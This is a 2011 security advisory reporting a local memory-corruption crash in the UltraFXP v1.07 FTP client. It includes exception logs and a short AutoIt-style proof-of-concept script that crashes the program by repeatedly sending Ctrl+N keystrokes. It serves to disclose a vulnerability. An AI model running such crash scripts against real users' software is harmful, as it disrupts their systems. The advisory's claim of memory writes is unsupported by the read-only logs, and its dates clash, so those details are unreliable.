UltraFXP v1.07 - Memory Corruption Vulnerability

Document Title:
===============
UltraFXP v1.07 - Memory Corruption Vulnerability



Release Date:
=============
2011-08-14


Vulnerability Laboratory ID (VL-ID):
====================================
161


Product & Service Introduction:
===============================
FTP-Client / FXP-Client (Server-zu-Server) der Spitzenklasse. Verbinden sie sich mit 10 FTP-Servern 
gleichzeitig und übertragen Dateien, ohne den Umweg über den eigenen Rechner. Verschlüsseltes FTP (SSL), 
Scripting-Unterstützung und natürlich ganz normales FTP.

(Copy of the Vendor Homepage: http://www.soft-ware.net)


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a Memory Corruption Vulnerability on UltraFXP v1.07.x for windows.


Vulnerability Disclosure Timeline:
==================================
2011-08-15: Discovery by Vulnerability-Lab


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A memory corruption vulnerability is detected on UltraFXP v1.07.x.
The create server-container function allows an attacker to crash the softawre stable via memory corruption vulnerability
& allows to write on memory address.

Vulnerable Module(s):
		                         	[+] Create Server-Container


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers with user privileges. 
For demonstration or reproduce ...

Pictures:
			../memory-corruption.png
			../rt-error.png


--- Exception Logs ---

[00:51:01] : HandleThreadMsg[107]: Access violation at address 0054EAF6 in module \'ultrafxp.exe\'. Read of address 00000014
[00:49:52] : HandleDisplayMsg[220]: Out of memory
[00:49:32] : HandleDisplayMsg[204]: Access violation at address 0055BD7D in module \'ultrafxp.exe\'. Read of address 00000000
[00:49:32] : HandleDisplayMsg[204]: Access violation at address 0055BD7D in module \'ultrafxp.exe\'. Read of address 00000000
[00:49:32] : HandleDisplayMsg[204]: Access violation at address 0055BD7D in module \'ultrafxp.exe\'. Read of address 00000000
[00:49:32] : HandleThreadMsg[107]: Out of memory


Run (@ProgramFilesDir&"\UltraFXP\UltraFxp.exe")
Sleep(5000)
WinActivate("UltraFXP ")
SEND("{CTRLDOWN}")
while(1)
 SEND("{n}")
WEnd


Security Risk:
==============
The security risk of the local memory corruption vulnerability is estimated as medium.


Credits & Authors:
==================
Vulnerability Research Laboratory - Pim Campers (X4lt)


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=========================
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